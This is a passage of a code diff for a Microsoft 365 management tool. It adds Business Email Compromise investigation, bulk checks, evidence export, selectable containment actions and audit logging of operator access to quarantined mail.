b/backend/Modules/CIPPCore/Public/Set-CippBecCaseContext.ps1 @@ -0,0 +1,25 @@ +function Set-CippBecCaseContext { + <# + .SYNOPSIS + Stores the BEC case id in CIPPCore module-scoped AsyncLocal storage for the current invocation. + .DESCRIPTION + Used by the BEC check, containment, content search and evidence export so that Write-LogMessage + stamps every log entry written while they run with a BecCaseId column. The evidence package + bundles the logbook rows of a case by filtering on that column. Mirrors + Set-CippBaselineRunContext / Set-CippScheduledTaskContext: module script scope is used instead + of global scope, which is not reliable in Azure Functions. + .PARAMETER CaseId + The BEC case id. Pass $null or empty to clear. + .FUNCTIONALITY + Internal + #> + [CmdletBinding()] + param( + [string]$CaseId + ) + + if (-not $script:CippBecCaseIdStorage) { + $script:CippBecCaseIdStorage = [System.Threading.AsyncLocal[string]]::new() + } + $script:CippBecCaseIdStorage.Value = $CaseId +} diff --git a/backend/Modules/CIPPCore/Public/Webhooks/Invoke-CIPPWebhookProcessing.ps1 b/backend/Modules/CIPPCore/Public/Webhooks/Invoke-CIPPWebhookProcessing.ps1 index f5067a0a84..1c7d572330 100644 --- a/backend/Modules/CIPPCore/Public/Webhooks/Invoke-CIPPWebhookProcessing.ps1 +++ b/backend/Modules/CIPPCore/Public/Webhooks/Invoke-CIPPWebhookProcessing.ps1 @@ -85,35 +85,24 @@ function Invoke-CippWebhookProcessing { } } 'becremediate' { + # Same dispatcher as the BEC page's containment: the rule's BecActions selection, or + # the default six when the rule predates selectable containment. Automation confirms + # Critical actions by design. The password never enters the alert payload. $Username = (New-GraphGetRequest -uri "https://graph.microsoft.com/beta/users/$($Data.UserId)" -tenantid $TenantFilter).UserPrincipalName + $BecActionsRaw = try { $Data.CIPPBecActions | ConvertFrom-Json -ErrorAction Stop } catch { @() } + $BecActions = @($BecActionsRaw | ForEach-Object { if ($_ -and $_.PSObject.Properties['value']) { $_.value } else { $_ } } | Where-Object { $_ }) try { - Set-CIPPResetPassword -UserID $Username -tenantFilter $TenantFilter -APIName 'Alert Engine' -Headers 'Alert Engine' + $ContainmentRows = Invoke-CIPPBecContainment -TenantFilter $TenantFilter -UserId $Data.UserId -UserPrincipalName $Username -Actions $BecActions -Confirmed -Headers 'Alert Engine' -APIName 'Alert Engine' + foreach ($Row in @($ContainmentRows)) { + $Text = [string]$Row.resultText + if ($Row.copyField) { $Text = $Text.Replace([string]$Row.copyField, '[redacted]') } + "$($Row.Action) ($($Row.state)): $Text" + } } catch { - Write-Host "Failed to reset password for $Username`: $($_.Exception.Message)" - } - try { - Set-CIPPSignInState -userid $Username -AccountEnabled $false -tenantFilter $TenantFilter -APIName 'Alert Engine' -Headers 'Alert Engine' - } catch { - Write-Host "Failed to disable sign-in for $Username`: $($_.Exception.Message)" - } - try { - Revoke-CIPPSessions -userid $Username -username $Username -Headers 'Alert Engine' -APIName 'Alert Engine' -tenantFilter $TenantFilter - } catch { - Write-Host "Failed to revoke sessions for $Username`: $($_.Exception.Message)" - } - $RuleDisabled = 0 - New-ExoRequest -anchor $Username -tenantid $TenantFilter -cmdlet 'Get-InboxRule' -cmdParams @{Mailbox = $Username; IncludeHidden = $true } | Where-Object { $_.Name -ne 'Junk E-Mail Rule' -and $_.Name -notlike 'Microsoft.Exchange.OOF.*' } | ForEach-Object { - $null = New-ExoRequest -anchor $Username -tenantid $TenantFilter -cmdlet 'Disable-InboxRule' -cmdParams @{Confirm = $false; Identity = $_.Identity } - "Disabled Inbox Rule $($_.Identity) for $Username" - $RuleDisabled++ - } - if ($RuleDisabled) { - "Disabled $RuleDisabled Inbox Rules for $Username" - } else { - "No Inbox Rules found for $Username. We have not disabled any rules." + Write-Host "BEC containment failed for $Username`: $($_.Exception.Message)" + "BEC containment failed for $Username`: $($_.Exception.Message)" } "Completed BEC Remediate for $Username" - Write-LogMessage -API 'BECRemediate' -tenant $tenantfilter -message "Executed Remediation for $Username" -sev 'Info' } <#'cippcommand' { $CommandSplat = @{} diff --git a/backend/Modules/CIPPCore/Public/Webhooks/Test-CIPPAuditLogRules.ps1 b/backend/Modules/CIPPCore/Public/Webhooks/Test-CIPPAuditLogRules.ps1 index e9bf9d96dd..2d87eaa4b8 100644 --- a/backend/Modules/CIPPCore/Public/Webhooks/Test-CIPPAuditLogRules.ps1 +++ b/backend/Modules/CIPPCore/Public/Webhooks/Test-CIPPAuditLogRules.ps1 @@ -176,6 +176,7 @@ function Test-CIPPAuditLogRules { # second Select-Object projection over the whole property bag. $RecordPlaceholders = @{ CIPPAction = $null + CIPPBecActions = $null CIPPClause = $null CIPPGeoLocation = $null CIPPBadRepIP = $null @@ -248,6 +249,7 @@ function Test-CIPPAuditLogRules { Excluded = $ExcludedTenants Conditions = $ConfigEntry.Conditions Actions = $ConfigEntry.Actions + BecActions = $ConfigEntry.BecActions LogType = $ConfigEntry.Type AlertComment = $ConfigEntry.AlertComment CustomSubject = $ConfigEntry.CustomSubject @@ -840,14 +842,15 @@ function Test-CIPPAuditLogRules { } [PSCustomObject]@{ - conditions = $conditions - expectedAction = $actions - CIPPClause = $CIPPClause - AlertComment = $Config.AlertComment - CustomSubject = $Config.CustomSubject - PsaTicketPriority = $Config.PsaTicketPriority - HasGeoCondition = $HasGeoCondition - ExcludedUserKeys = $LocationExcludedUserKeys + conditions = $conditions + expectedAction = $actions + expectedBecActions = $Config.BecActions + CIPPClause = $CIPPClause + AlertComment = $Config.AlertComment + CustomSubject = $Config.CustomSubject + PsaTicketPriority = $Config.PsaTicketPriority + HasGeoCondition = $HasGeoCondition + ExcludedUserKeys = $LocationExcludedUserKeys } } } catch { @@ -905,6 +908,7 @@ function Test-CIPPAuditLogRules { Write-Warning "Webhook: There is matching data: $(($ReturnedData.operation | Select-Object -Unique) -join ', ')" $ReturnedData = foreach ($item in $ReturnedData) { $item.CIPPAction = $clause.expectedAction + $item.CIPPBecActions = $clause.expectedBecActions $item.CIPPClause = $clause.CIPPClause -join ' and ' $item | Add-Member -NotePropertyMembers ([ordered]@{ CIPPAlertComment = $clause.AlertComment diff --git a/backend/Modules/CIPPHTTP/Public/Entrypoints/HTTP Functions/Email-Exchange/Spamfilter/Invoke-ListMailQuarantineMessage.ps1 b/backend/Modules/CIPPHTTP/Public/Entrypoints/HTTP Functions/Email-Exchange/Spamfilter/Invoke-ListMailQuarantineMessage.ps1 index d10a3436cb..728846b4e4 100644 --- a/backend/Modules/CIPPHTTP/Public/Entrypoints/HTTP Functions/Email-Exchange/Spamfilter/Invoke-ListMailQuarantineMessage.ps1 +++ b/backend/Modules/CIPPHTTP/Public/Entrypoints/HTTP Functions/Email-Exchange/Spamfilter/Invoke-ListMailQuarantineMessage.ps1 @@ -15,6 +15,8 @@ function Invoke-ListMailQuarantineMessage { try { $GraphRequest = New-ExoRequest -tenantid $TenantFilter -cmdlet 'Export-QuarantineMessage' -cmdParams @{ 'Identity' = $Identity } + # This is one of the few places CIPP hands message content to an operator; record who pulled what. + Write-LogMessage -headers $Request.Headers -API $Request.Params.CIPPEndpoint -tenant $TenantFilter -message "Exported the raw EML of quarantined message $Identity" -Sev 'Info' $EmlBase64 = $GraphRequest.Eml $EmlContent = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($EmlBase64)) $Body = @{ diff --git a/backend/Modules/CIPPHTTP/Public/Entrypoints/HTTP Functions/Email-Exchange/Spamfilter/Invoke-ListMailQuarantineMessageDetails.ps1 b/backend/Modules/CIPPHTTP/Public/Entrypoints/HTTP Functions/Email-Exchange/Spamfilter/Invoke-ListMailQuarantineMessageDetails.ps1 index 6867323237..44a41c5ec1 100644 --- a/backend/Modules/CIPPHTTP/Public/Entrypoints/HTTP Functions/Email-Exchange/Spamfilter/Invoke-ListMailQuarantineMessageDetails.ps1 +++ b/backend/Modules/CIPPHTTP/Public/Entrypoints/HTTP Functions/Email-Exchange/Spamfilter/Invoke-ListMailQuarantineMessageDetails.ps1 @@ -35,6 +35,8 @@ function Invoke-ListMailQuarantineMessageDetails { # used to investigate messages the operator was never authorized to see. try { $QuarantineMessage = New-ExoRequest -tenantid $TenantFilter -cmdlet 'Get-QuarantineMessage' -cmdParams @{ Identity = $Identity } + # The fallback path below exports and parses the EML; record who looked at this message either way. + Write-LogMessage -headers $Request.Headers -API $Request.Params.CIPPEndpoint -tenant $TenantFilter -message "Viewed the analysis details of quarantined message $Identity" -Sev 'Info' } catch { return ([HttpResponseContext]@{ StatusCode = [HttpStatusCode]::NotFound diff --git a/backend/Modules/CIPPHTTP/Public/Entrypoints/HTTP Functions/Email-Exchange/Spamfilter/Invoke-ListMailQuarantineMessageHeader.ps1 b/backend/Modules/CIPPHTTP/Public/Entrypoints/HTTP Functions/Email-Exchange/Spamfilter/Invoke-ListMailQuarantineMessageHeader.ps1 index 2734bfbf58..0abdc752cf 100644 --- a/backend/Modules/CIPPHTTP/Public/Entrypoints/HTTP Functions/Email-Exchange/Spamfilter/Invoke-ListMailQuarantineMessageHeader.ps1 +++ b/backend/Modules/CIPPHTTP/Public/Entrypoints/HTTP Functions/Email-Exchange/Spamfilter/Invoke-ListMailQuarantineMessageHeader.ps1 @@ -15,6 +15,8 @@ function Invoke-ListMailQuarantineMessageHeader { try { $GraphRequest = New-ExoRequest -tenantid $TenantFilter -cmdlet 'Get-QuarantineMessageHeader' -cmdParams @{ 'Identity' = $Identity } + # Headers are message content as far as the customer is concerned; record who viewed them. + Write-LogMessage -headers $Request.Headers -API $Request.Params.CIPPEndpoint -tenant $TenantFilter -message "Viewed the headers of quarantined message $Identity" -Sev 'Info' $Body = @{ 'Identity' = $Identity 'Header' = [string]($GraphRequest.Header ?? $GraphRequest) diff --git a/backend/Modules/CIPPHTTP/Public/Entrypoints/HTTP Functions/Identity/Administration/Users/Invoke-ExecBECBulkCheck.ps1 b/backend/Modules/CIPPHTTP/Public/Entrypoints/HTTP Functions/Identity/Administration/Users/Invoke-ExecBECBulkCheck.ps1 new file mode 100644 index 0000000000..1a7dd7e362 --- /dev/null +++ b/backend/Modules/CIPPHTTP/Public/Entrypoints/HTTP Functions/Identity/Administration/Users/Invoke-ExecBECBulkCheck.ps1 @@ -0,0 +1,93 @@ +function Invoke-ExecBECBulkCheck { + <# + .FUNCTIONALITY + Entrypoint + .ROLE + Identity.User.Read + .SYNOPSIS + Queues Business Email Compromise investigations for many users at once. + .DESCRIPTION + Queues one BEC investigation per user as a single orchestration with a queue entry for progress. Accepts either an array of { UserIds, tenantFilter } items (the Users table bulk action) or one object with UserIds[]. Selection=ForeignSuccessfulSignIns picks every user with a successful sign-in in the last 7 days from outside their usage location instead of an explicit list. Each run gets its own case id; results appear on the BEC Reports page and each user's Compromise Remediation tab. + #> + [CmdletBinding()] + param($Request, $TriggerMetadata) + + $APIName = $Request.Params.CIPPEndpoint + $Headers = $Request.Headers + + try { + $Entries = @($Request.Body | Where-Object { $_ }) + if ($Entries.Count -eq 0) { throw 'No request body' } + $Unwrap = { param($Value) if ($Value -and $Value.PSObject.Properties['value']) { $Value.value } else { $Value } } + $TenantFilter = [string](& $Unwrap ($Entries | ForEach-Object { $_.tenantFilter } | Where-Object { $_ } | Select-Object -First 1)) + if (-not $TenantFilter) { throw 'tenantFilter is required' } + # explicit ids, or Selection=ForeignSuccessfulSignIns + $Selection = [string](& $Unwrap ($Entries | ForEach-Object { $_.Selection } | Where-Object { $_ } | Select-Object -First 1)) + $UserIds = @($Entries | ForEach-Object { @($_.UserIds) + @($_.userId) + @($_.userid) } | Where-Object { $_ } | ForEach-Object { [string](& $Unwrap $_) } | Where-Object { $_ } | Select-Object -Unique) + + $Incomplete = $false + if ($Selection -eq 'ForeignSuccessfulSignIns') { + $Start = (Get-Date).ToUniversalTime().AddDays(-7).ToString('yyyy-MM-ddTHH:mm:ssZ') + $Users = @(New-GraphGetRequest -uri "https://graph.microsoft.com/v1.0/users?`$select=id,userPrincipalName,usageLocation&`$top=999" -tenantid $TenantFilter -AsApp $true) + $UsageByUser = @{} + foreach ($User in $Users) { if ($User.id) { $UsageByUser[[string]$User.id] = [string]$User.usageLocation } } + $SignIns = @(New-GraphGetRequest -uri "https://graph.microsoft.com/beta/auditLogs/signIns?`$filter=createdDateTime ge $Start and status/errorCode eq 0&`$top=999&`$select=userId,location" -tenantid $TenantFilter -AsApp $true -noPagination $true) + if ($SignIns.Count -ge 999) { $Incomplete = $true } + $UserIds = @($SignIns | Where-Object { + $Usage = $UsageByUser[[string]$_.userId] + $Country = [string]$_.location.countryOrRegion + $Usage -and $Country -and $Country -ne 'Unknown' -and $Country -ne $Usage + } | ForEach-Object { [string]$_.userId } | Select-Object -Unique) + } + if ($UserIds.Count -eq 0) { throw 'No users to check' } + + # Resolve UPN and display name in chunks of 15 ids + $Resolved = @{} + $Requests = for ($i = 0; $i -lt $UserIds.Count; $i += 15) { + $Chunk = $UserIds[$i..([Math]::Min($i + 14, $UserIds.Count - 1))] + @{ id = "u$i"; method = 'GET'; url = "users?`$filter=id in ('$($Chunk -join "','")')&`$select=id,userPrincipalName,displayName" } + } + foreach ($Response in @(New-GraphBulkRequest -Requests @($Requests) -tenantid $TenantFilter -asapp $true)) { + foreach ($User in @($Response.body.value)) { if ($User.id) { $Resolved[[string]$User.id] = $User } } + } + + $RequestedBy = try { ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($Headers.'x-ms-client-principal')) | ConvertFrom-Json).userDetails } catch { 'CIPP' } + $Queue = New-CippQueueEntry -Name "BEC investigation - $TenantFilter" -Link "/identity/reports/bec-reports?tenantFilter=$TenantFilter" -Reference "bec-$TenantFilter-$([guid]::NewGuid().ToString('N'))" -TotalTasks $UserIds.Count + $Batch = [System.Collections.Generic.List[object]]::new() + $Cases = [System.Collections.Generic.List[object]]::new() + foreach ($UserId in $UserIds) { + $User = $Resolved[$UserId] + if (-not $User) { + $Cases.Add([pscustomobject]@{ UserId = $UserId; UserPrincipalName = $null; CaseId = $null; Error = 'User not found' }) + continue + } + $Prepared = New-CIPPBecRunRequest -TenantFilter $TenantFilter -UserId ([string]$User.id) -UserPrincipalName ([string]$User.userPrincipalName) -DisplayName ([string]$User.displayName) -RequestedBy ([string]$RequestedBy) -QueueId ([string]$Queue.RowKey) + $Batch.Add($Prepared.Item) + $Cases.Add([pscustomobject]@{ UserId = [string]$User.id; UserPrincipalName = [string]$User.userPrincipalName; CaseId = $Prepared.CaseId }) + } + if ($Batch.Count -eq 0) { throw 'None of the selected users could be resolved' } + $InputObject = [PSCustomObject]@{ + OrchestratorName = 'BECRunOrchestrator' + Batch = @($Batch) + SkipLog = $true + } + $null = Start-CIPPOrchestrator -InputObject $InputObject + Write-LogMessage -headers $Headers -API $APIName -tenant $TenantFilter -message "Queued $($Batch.Count) BEC investigation(s) (queue $($Queue.RowKey))" -Sev 'Info' + $Body = @{ + Results = "Queued $($Batch.Count) BEC investigation(s). Results appear on the BEC Reports page and each user's Compromise Remediation tab.$(if ($Incomplete) { ' The foreign sign-in selection hit its cap; some users may be missing.' })" + QueueId = $Queue.RowKey + Cases = @($Cases) + } + $StatusCode = [HttpStatusCode]::OK + } catch { + $ErrorMessage = Get-CippException -Exception $_ + Write-LogMessage -headers $Headers -API $APIName -tenant $TenantFilter -message "Bulk BEC investigation not queued: $($ErrorMessage.NormalizedError)" -Sev 'Error' -LogData $ErrorMessage + $Body = @{ Results = "Bulk BEC investigation not queued: $($ErrorMessage.NormalizedError)" } + $StatusCode = [HttpStatusCode]::InternalServerError + } + + return ([HttpResponseContext]@{ + StatusCode = $StatusCode + Body = $Body + }) +} diff --git a/backend/Modules/CIPPHTTP/Public/Entrypoints/HTTP Functions/Identity/Administration/Users/Invoke-ExecBECCheck.ps1 b/backend/Modules/CIPPHTTP/Public/Entrypoints/HTTP Functions/Identity/Administration/Users/Invoke-ExecBECCheck.ps1 index 00058a5319..855549d894 100644 --- a/backend/Modules/CIPPHTTP/Public/Entrypoints/HTTP Functions/Identity/Administration/Users/Invoke-ExecBECCheck.ps1 +++ b/backend/Modules/CIPPHTTP/Public/Entrypoints/HTTP Functions/Identity/Administration/Users/Invoke-ExecBECCheck.ps1 @@ -1,66 +1,140 @@ -Function Invoke-ExecBECCheck { +function Invoke-ExecBECCheck { <# .FUNCTIONALITY Entrypoint .ROLE Identity.User.Read + .SYNOPSIS + Reads, polls or starts a Business Email Compromise investigation. .DESCRIPTION - Returns the business email compromise assessment for a user: sign-ins with a location analysis against the user's assigned usage location, mailbox rules and rule changes, trusted/blocked sender changes, OneDrive and SharePoint sharing link activity, added applications matched against the known-malicious catalog, MFA methods, Intune devices, sent mail, and tenant-wide password changes. If no cached result exists the check is queued as a background job and the response reports it as waiting, so poll rather than expecting results on the first call. Pass overwrite=true to force a fresh run. + GET with GUID (or caseId) returns that run: while it is queued or running { Waiting = true, Progress } where Progress is the job status (queued until a worker picks it up, then running) and the per-step state the page renders; { Error, Progress } when it failed; otherwise the results payload with the server-side Score, per-collector Completeness and a Run block. A queued or running run whose progress has not moved for 20 minutes is marked failed by this poll (the worker restarted or the run was abandoned) and returned as { Error }. GET without a GUID returns the user's latest run as { GUID, Status } and starts nothing (GUID is null when the user has no runs). POST with tenantFilter, userid and userName queues a new run and returns its { GUID }; GET with overwrite=true does the same for older callers. Every run is the full investigation and is kept in the BecReports table; metadata only, never message content. #> [CmdletBinding()] param($Request, $TriggerMetadata) - $Table = Get-CippTable -tablename 'cachebec' + $APIName = $Request.Params.CIPPEndpoint + $Headers = $Request.Headers + $Payload = $Request.Body + # Query first, then the body; a query key that is present but empty counts as missing. + $Pick = { param($FromQuery, $FromBody) if (-not [string]::IsNullOrWhiteSpace([string]$FromQuery)) { $FromQuery } else { $FromBody } } + $TenantFilter = & $Pick $Request.Query.tenantFilter $Payload.tenantFilter + # Object id of the user to investigate + $UserId = [string](& $Pick $Request.Query.userid $Payload.userid) + # The user's UPN (stored on the run and used by the collectors) + $UserName = [string](& $Pick $Request.Query.userName $Payload.userName) + # The run to read; GUID keeps the original poll contract + $CaseId = [string](& $Pick $Request.Query.GUID $Request.Query.caseId) + # A POST body, or overwrite=true on GET, starts a new run + $Start = (-not [string]::IsNullOrWhiteSpace([string]$Payload.userid)) -or ($Request.Query.overwrite -eq $true) + # A queued/running run with no progress update for this long is abandoned: the worker restarted + # (Craft retries once, then gives up) or the queue lost it. One audit-log phase can take several + # minutes on a large tenant, so the threshold is generous. + $StaleMinutes = 20 - $UserId = $Request.Query.userid ?? $Request.Query.GUID - $Filter = "PartitionKey eq 'bec' and RowKey eq '$UserId'" - $JSONOutput = Get-CIPPAzDataTableEntity @Table -Filter $Filter - Write-Host ($Request.Query | ConvertTo-Json) + try { + if (-not $TenantFilter) { throw 'tenantFilter is required' } + if ($CaseId) { + $Run = Get-CIPPBecReport -TenantFilter $TenantFilter -CaseId $CaseId -IncludeResults:$true -ErrorAction Stop + $Body = if (-not $Run) { + @{ Waiting = $false; Error = "BEC run $CaseId was not found for $TenantFilter" } + } elseif ($Run.Status -in @('Waiting', 'Running', 'Error')) { + # the live progress rows: queued until a worker starts, then one step per phase + $Progress = try { @(Get-CIPPAsyncDeployment -JobId $Run.CaseId) | Select-Object -First 1 } catch { $null } - $body = if (([string]::IsNullOrEmpty($JSONOutput.Results) -and $JSONOutput.Status -ne 'Waiting' ) -or $Request.Query.overwrite -eq $true) { - $Batch = @{ - 'FunctionName' = 'BECRun' - 'UserID' = $Request.Query.userid - 'TenantFilter' = $Request.Query.tenantFilter - 'userName' = $Request.Query.userName - } - - $Table = Get-CippTable -tablename 'cachebec' - - $Entity = @{ - UserId = $Request.Query.userid - Results = '' - RowKey = $Request.Query.userid - Status = 'Waiting' - PartitionKey = 'bec' - } - Add-CIPPAzDataTableEntity @Table -Entity $Entity -Force - - $InputObject = [PSCustomObject]@{ - OrchestratorName = 'BECRunOrchestrator' - Batch = @($Batch) - SkipLog = $true - } - #Write-Host ($InputObject | ConvertTo-Json) - $null = Start-CIPPOrchestrator -InputObject $InputObject + if ($Run.Status -in @('Waiting', 'Running')) { + # last sign of life: the job row's last change, else when the run started or was requested + $LastActivity = $null + foreach ($Candidate in @($Progress.LastUpdate, $Run.StartedAt, $Run.RequestedAt)) { + if ($null -eq $Candidate -or "$Candidate" -eq '') { continue } + try { + $LastActivity = if ($Candidate -is [DateTimeOffset]) { $Candidate.UtcDateTime } else { ([datetime]$Candidate).ToUniversalTime() } + break + } catch { $LastActivity = $null } + } + if ($LastActivity -and $LastActivity -lt (Get-Date).ToUniversalTime().AddMinutes(-$StaleMinutes)) { + $StaleMessage = "No progress for more than $StaleMinutes minutes - the worker was restarted or the run was abandoned. Start a new run." + try { + $null = Set-CIPPBecReport -TenantFilter $TenantFilter -CaseId $Run.CaseId -Properties @{ Status = 'Error'; ErrorMessage = $StaleMessage; ExtractedAt = (Get-Date).ToUniversalTime().ToString('o') } + if ($Progress) { + $Steps = @($Progress.Steps) + for ($i = 0; $i -lt $Steps.Count; $i++) { + if ($Steps[$i].Status -eq 'running') { Set-CIPPAsyncDeploymentStep -JobId $Run.CaseId -Name $Progress.Name -StepIndex $i -StepStatus 'failed' -Message $StaleMessage; break } + } + Set-CIPPAsyncDeploymentStatus -JobId $Run.CaseId -Name $Progress.Name -Status 'failed' -Logs $StaleMessage + $Progress = try { @(Get-CIPPAsyncDeployment -JobId $Run.CaseId) | Select-Object -First 1 } catch { $Progress } + } + Write-LogMessage -headers $Headers -API $APIName -tenant $TenantFilter -message "BEC run $($Run.CaseId) marked failed: $StaleMessage" -Sev 'Warning' + } catch { + Write-Information "BEC: could not mark the stale run $($Run.CaseId) failed: $($_.Exception.Message)" + } + $Run | Add-Member -NotePropertyName 'Status' -NotePropertyValue 'Error' -Force + $Run | Add-Member -NotePropertyName 'ErrorMessage' -NotePropertyValue $StaleMessage -Force + } + } - @{ GUID = $Request.Query.userid } - } else { - if (!$Request.Query.GUID) { - @{ GUID = $Request.Query.userid } + $Summary = @{ + CaseId = $Run.CaseId + Scope = $Run.Scope + Status = $Run.Status + RequestedAt = $Run.RequestedAt + RequestedBy = $Run.RequestedBy + StartedAt = $Run.StartedAt + Progress = $Progress + } + if ($Run.Status -eq 'Error') { + $Summary.Waiting = $false + $Summary.Error = ($Run.ErrorMessage ?? 'The BEC run failed') + } else { + $Summary.Waiting = $true + } + $Summary + } else { + $Results = $Run.Results + $Results | Add-Member -NotePropertyName 'Run' -NotePropertyValue ([pscustomobject]@{ + CaseId = $Run.CaseId + Scope = $Run.Scope + Status = $Run.Status + ExtractedAt = $Run.ExtractedAt + RequestedAt = $Run.RequestedAt + RequestedBy = $Run.RequestedBy + Containment = $Run.Containment + EvidenceSha256 = $Run.EvidenceSha256 + EvidenceCreatedAt = $Run.EvidenceCreatedAt + }) -Force + $Results + } + } elseif ($Start) { + if (-not $UserId) { throw 'userid is required' } + $RequestedBy = try { ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($Headers.'x-ms-client-principal')) | ConvertFrom-Json).userDetails } catch { 'CIPP' } + $Prepared = New-CIPPBecRunRequest -TenantFilter $TenantFilter -UserId $UserId -UserPrincipalName $UserName -RequestedBy ([string]$RequestedBy) + $InputObject = [PSCustomObject]@{ + OrchestratorName = 'BECRunOrchestrator' + Batch = @($Prepared.Item) + SkipLog = $true + } + $null = Start-CIPPOrchestrator -InputObject $InputObject + Write-LogMessage -headers $Headers -API $APIName -tenant $TenantFilter -message "Queued a BEC investigation for $UserName [case $($Prepared.CaseId)]" -Sev 'Info' + $Body = @{ GUID = $Prepared.CaseId; CaseId = $Prepared.CaseId; Scope = 'Full'; Status = 'Waiting' } } else { - if (!$JSONOutput -or $JSONOutput.Status -eq 'Waiting') { - @{ Waiting = $true } + if (-not $UserId) { throw 'userid is required' } + # the latest run that is not a failure; never starts one + $Latest = @(Get-CIPPBecReport -TenantFilter $TenantFilter -UserId $UserId | Where-Object { $_.Status -in @('Completed', 'Waiting', 'Running') }) | Select-Object -First 1 + $Body = if ($Latest) { + @{ GUID = $Latest.CaseId; CaseId = $Latest.CaseId; Scope = $Latest.Scope; Status = $Latest.Status } } else { - $JSONOutput.Results + @{ GUID = $null; CaseId = $null; Scope = $null; Status = $null; NoRuns = $true } } } + $StatusCode = [HttpStatusCode]::OK + } catch { + $ErrorMessage = Get-CippException -Exception $_ + Write-LogMessage -headers $Headers -API $APIName -tenant $TenantFilter -message "BEC check request failed: $($ErrorMessage.NormalizedError)" -Sev 'Error' -LogData $ErrorMessage + $Body = @{ Waiting = $false; Error = $ErrorMessage.NormalizedError } + $StatusCode = [HttpStatusCode]::InternalServerError } - return ([HttpResponseContext]@{ - StatusCode = [HttpStatusCode]::OK - Body = $body + StatusCode = $StatusCode + Body = $Body }) - } diff --git a/backend/Modules/CIPPHTTP/Public/Entrypoints/HTTP Functions/Identity/Administration/Users/Invoke-ExecBECEvidenceExport.ps1 b/backend/Modules/CIPPHTTP/Public/Entrypoints/HTTP Functions/Identity/Administration/Users/Invoke-ExecBECEvidenceExport.ps1 new file mode 100644 index 0000000000..f4160f709c --- /dev/null +++ b/backend/Modules/CIPPHTTP/Public/Entrypoints/HTTP Functions/Identity/Administration/Users/Invoke-ExecBECEvidenceExport.ps1 @@ -0,0 +1,53 @@ +function Invoke-ExecBECEvidenceExport { + <# + .FUNCTIONALITY + Entrypoint + .ROLE + Identity.User.Read + .SYNOPSIS + Builds the evidence package for a Business Email Compromise run and returns it. + .DESCRIPTION + Collates the run's stored results, one CSV per finding set, the containment history, every logbook entry stamped with the case id and the PDF report when pdfBase64 is supplied into a ZIP with a manifest listing the SHA-256 of every file. Nothing is stored: the ZIP is returned base64-encoded (ZipBase64) for the browser to save, and only the export record - hash, time, size - is kept on the run so a copy can be verified later. Metadata only - nothing in the package is message content. + #> + [CmdletBinding()] + param($Request, $TriggerMetadata) + + $APIName = $Request.Params.CIPPEndpoint + $Headers = $Request.Headers + $TenantFilter = $Request.Body.tenantFilter + $CaseId = [string]$Request.Body.caseId + # optional: the report PDFs rendered in the browser, base64-encoded (full report + C-suite summary) + $PdfBase64 = [string]$Request.Body.pdfBase64 + $PdfSummaryBase64 = [string]$Request.Body.pdfSummaryBase64 + + Set-CippBecCaseContext -CaseId $CaseId + try { + if (-not $TenantFilter) { throw 'tenantFilter is required' } + if (-not $CaseId) { throw 'caseId is required' } + $Package = New-CIPPBecEvidencePackage -TenantFilter $TenantFilter -CaseId $CaseId -PdfBase64 $PdfBase64 -PdfSummaryBase64 $PdfSummaryBase64 -Headers $Headers -APIName $APIName + $Body = @{ + Results = "Evidence package for case $CaseId created: $($Package.FileCount) files, $([math]::Round($Package.Bytes / 1KB)) KB, SHA-256 $($Package.ZipSha256)" + Evidence = [pscustomobject]@{ + CaseId = $Package.CaseId + ZipSha256 = $Package.ZipSha256 + Bytes = $Package.Bytes + FileCount = $Package.FileCount + Manifest = $Package.Manifest + ZipBase64 = [System.Convert]::ToBase64String($Package.ZipBytes) + } + } + $StatusCode = [HttpStatusCode]::OK + } catch { + $ErrorMessage = Get-CippException -Exception $_ + Write-LogMessage -headers $Headers -API $APIName -tenant $TenantFilter -message "Evidence export for BEC case $CaseId failed: $($ErrorMessage.NormalizedError)" -Sev 'Error' -LogData $ErrorMessage + $Body = @{ Results = "Evidence export failed: $($ErrorMessage.NormalizedError)" } + $StatusCode = [HttpStatusCode]::InternalServerError + } finally { + Set-CippBecCaseContext -CaseId $null + } + + return ([HttpResponseContext]@{ + StatusCode = $StatusCode + Body = $Body + }) +} diff --git a/backend/Modules/CIPPHTTP/Public/Entrypoints/HTTP Functions/Identity/Administration/Users/Invoke-ExecBECRemediate.ps1 b/backend/Modules/CIPPHTTP/Public/Entrypoints/HTTP Functions/Identity/Administration/Users/Invoke-ExecBECRemediate.ps1 index f9516ce5ab..b2e1da1a7c 100644 --- a/backend/Modules/CIPPHTTP/Public/Entrypoints/HTTP Functions/Identity/Administration/Users/Invoke-ExecBECRemediate.ps1 +++ b/backend/Modules/CIPPHTTP/Public/Entrypoints/HTTP Functions/Identity/Administration/Users/Invoke-ExecBECRemediate.ps1 @@ -4,6 +4,10 @@ function Invoke-ExecBECRemediate { Entrypoint .ROLE Identity.User.ReadWrite + .SYNOPSIS + Runs selectable Business Email Compromise containment for a user. + .DESCRIPTION + Runs the selected containment actions (see ListBECRemediationActions) for a user. With no Actions the original six steps run: reset password, block sign-in, revoke sessions, remove MFA methods, disable inbox rules, disable OneDrive sharing. Actions marked Critical require Confirmation to equal the user's UPN. Pass CaseId to resolve default targets (flagged consents, delegations, rules, devices) from that BEC run and to record the outcome on it; Parameters carries explicit per-action targets (MfaMethodIds, GrantIds, AppRoleAssignmentIds, ServicePrincipalIds, RuleIds, Delegations, TransportRuleIds, AddInIds, Protocols, MobileDeviceIds, RegisteredDeviceIds, CAPolicy). #> [CmdletBinding()] param($Request, $TriggerMetadata) @@ -11,217 +15,61 @@ function Invoke-ExecBECRemediate { $APIName = $Request.Params.CIPPEndpoint $Headers = $Request.Headers - $TenantFilter = $Request.Body.tenantFilter $SuspectUser = $Request.Body.userid $Username = $Request.Body.username - Write-Host $TenantFilter - Write-Host $SuspectUser - + # Action ids from ListBECRemediationActions; empty runs the default six + $Actions = @($Request.Body.Actions | ForEach-Object { if ($_ -and $_.PSObject.Properties['value']) { $_.value } else { $_ } } | Where-Object { $_ }) + # must equal the user's UPN when a Critical action is selected + $Confirmation = [string]$Request.Body.Confirmation + # the BEC run whose findings supply default targets and which records the outcome + $CaseId = [string]$Request.Body.CaseId + $Parameters = $Request.Body.Parameters + + $StatusCode = [HttpStatusCode]::OK $Results = try { - $AllResults = [System.Collections.Generic.List[object]]::new() - - # Step 1: Reset Password - $Step = 'Reset Password' - try { - $PasswordResult = Set-CIPPResetPassword -UserID $Username -tenantFilter $TenantFilter -APIName $APIName -Headers $Headers - 